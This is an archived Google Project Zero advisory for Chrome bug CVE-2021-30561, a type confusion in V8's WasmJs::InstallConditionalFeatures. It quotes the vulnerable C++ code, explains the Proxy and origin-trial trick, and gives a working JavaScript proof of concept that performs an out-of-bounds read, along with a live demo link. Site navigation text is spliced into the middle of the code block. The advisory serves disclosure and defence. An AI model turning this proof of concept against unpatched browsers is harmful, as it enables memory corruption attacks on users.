Chrome JS WasmJs::InstallConditionalFeatures Object Corruption

Authored by Google Security Research, Glazunov

Posted Aug 16, 2021

Chrome suffers from a JS object corruption vulnerability in WasmJs::InstallConditionalFeatures.

tags | exploit
advisories | CVE-2021-30561
SHA-256 | d93338742f0e327b777564c42e9113eddcd2f7b0558ef38e888cff53702c978b

Change Mirror Download

```
Chrome: JS object corruption in WasmJs::InstallConditionalFeatures

VULNERABILITY DETAILS
```
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle<Context> context) {
  // Exception handling may have been enabled by an origin trial. If so, make
  // sure that the {WebAssembly.Exception} constructor is set up.
  auto enabled_features = i::wasm::WasmFeatures::FromContext(isolate, context);
  if (enabled_features.has_eh()) {
    Handle<JSGlobalObject> global = handle(context->global_object(), isolate);
    MaybeHandle<Object> maybe_webassembly =
        JSObject::GetProperty(isolate, global, \"WebAssembly\");
    Handle<JSObject> webassembly =
        Handle<JSObject>::cast(maybe_webassembly.ToHandleChecked());
    // Setup Exception
    Handle<String> exception_name = v8_str(isolate, \"Exception\");
    if (!JSObject::HasProperty(webassembly, exception_name).FromMaybe(true)) { // *** 1 ***
      Handle<JSFunction> exception_constructor = InstallConstructorFunc(// *** 2 ***
          isolate, webassembly, \"Exception\", WebAssemblyException);
[...]
    }
  }

Handle<JSFunction> InstallConstructorFunc(Isolate* isolate,
                                          Handle<JSObject> object,
                                          const char* str,
                                          FunctionCallback func) {
  return InstallFunc(isolate, object, str, func, 1, true, DONT_ENUM,
                     SideEffectType::kHasNoSideEffect);
}

Handle<JSFunction> InstallFunc(
    Isolate* isolate, Handle<JSObject> object, const char* str,
    FunctionCallback func, int length, bool has_prototype = false,
    PropertyAttributes attributes = NONE,
    SideEffectType side_effect_type = SideEffectType::kHasSideEffect) {
  Handle<String> name = v8_str(isolate, str);
  Handle<JSFunction> function =
      CreateFunc(isolate, name, func, has_prototype, side_effect_type);
  function->shared().set_length(length);
  JSObject::AddProperty(isolate, object, name, function, attributes); // *** 3 ***
  return function;
}
```

The function `WasmJs::InstallConditionalFeatures` is responsible for setting up the `WebAssembly.Exception` constructor[2] depending on whether the corresponding feature is enabled. Usually, code like above only runs at context creation time before any user JS can be executed. However, in this case, the feature is controlled by an origin trial, and an attacker can add a new origin trial token to the active document at any time, by which they may have modified or replaced the `WebAssembly` object.

This is problematic because the `Exception` constructor is assigned via the service function `AddProperty`[3]. Unlike the regular `SetProperty`, `AddProperty` doesn't check whether a property with the same name is already defined on the receiver. As a result, the receiver may end up in a corrupted state where two of its properties have the same name. Moreover, if the receiver's map is deprecated by the time `AddProperty` is called, the function will create a new property descriptor, but modify the value of the existing property without updating its descriptor.

A property descriptor may contain, among other things, the field map i.e. the only map that values of that property are allowed to have. This information is used by TurboFan in the load elimination phase in order to remove unnecessary map checks. If an incompatible object is assigned to the property, the field map gets cleared, and all dependent code gets deoptimized.

The vulnerability allows the attacker to construct an object with a field that doesn't match its field map and thus cause a type confusion between an arbitrary JS object and the `Exception` constructor in JIT-compiled JavaScript code.

Note that the code checks if the `Exception` property already exists[1]. Unfortunately, it uses the `HasProperty` function, which follows prototype chains and trusts `Proxy` objects. Therefore, the attacker can implement a `Proxy` with a custom `has` handler, which will be triggered by `HasProperty` and define the `Exception` property when it's too late for the function to spot it.

```
VERSION
Google Chrome 91.0.4472.77 (Official Build) (x86_64)
Chromium 93.0.4532.0 (Developer Build) (64-bit)

REPRODUCTION CASE
```
<body>
<script>
array = [1.1];
array.stable_map = 1; // LoadElimination ignores fields with non-stable maps

proxy = new Proxy({}, {
  has() {
    object_1.Exception = array;

    object_2.deprecated_map = 1.1;
    object_2.Exception = array;

    return false;
  }
});

object_1 = {__proto__: proxy};
object_1.deprecated_map = 0;

object_2 = {__proto__: proxy};

WebAssembly = object_1;

meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = 'AkraUQ8UvLgBl/MKvqU9ZuwZ2csKJU75hMutXva8msph9EKaxUkf1fmA4V3y8' +
               'SLmwlYwFzKQHL2w+lwlIzfcJgsAAAB2eyJvcmlnaW4iOiJodHRwczovL2FuYW' +
               'xvZylmYXN0bmVzcy0yMzAyMTkudWMuci5hcHBzcG90LmNvbToONDMiLCJmZWF' +
               '0dXJlIjoiV2ViQXNzZW1ibHlFeGNlcHRpb25zIiwiZXhwaXJ5IjoxNjM3MTA3' +
               'MTk5fQ==';
document.head.appendChild(meta);

delete object_1.Exception; // transition back to object_2's map

jit = (object, index) => {
  return object.Exception[index];
}
for (var i = 0; i < 100000; ++i)
  jit(object_2, 0);

alert(jit(object_1, Number(location.hash.substring(1))));
</script>
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
</body>
```

The repro case won't work locally with the token above because of the origin restrictions. A live demo is available at https://analog-fastness-230219.uc.r.appspot.com/ebfe973809a47053be02ace515eef631/#1000000.

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2021-09-12.

Related CVE Numbers: CVE-2021-30561.

Found by: glazunov@google.com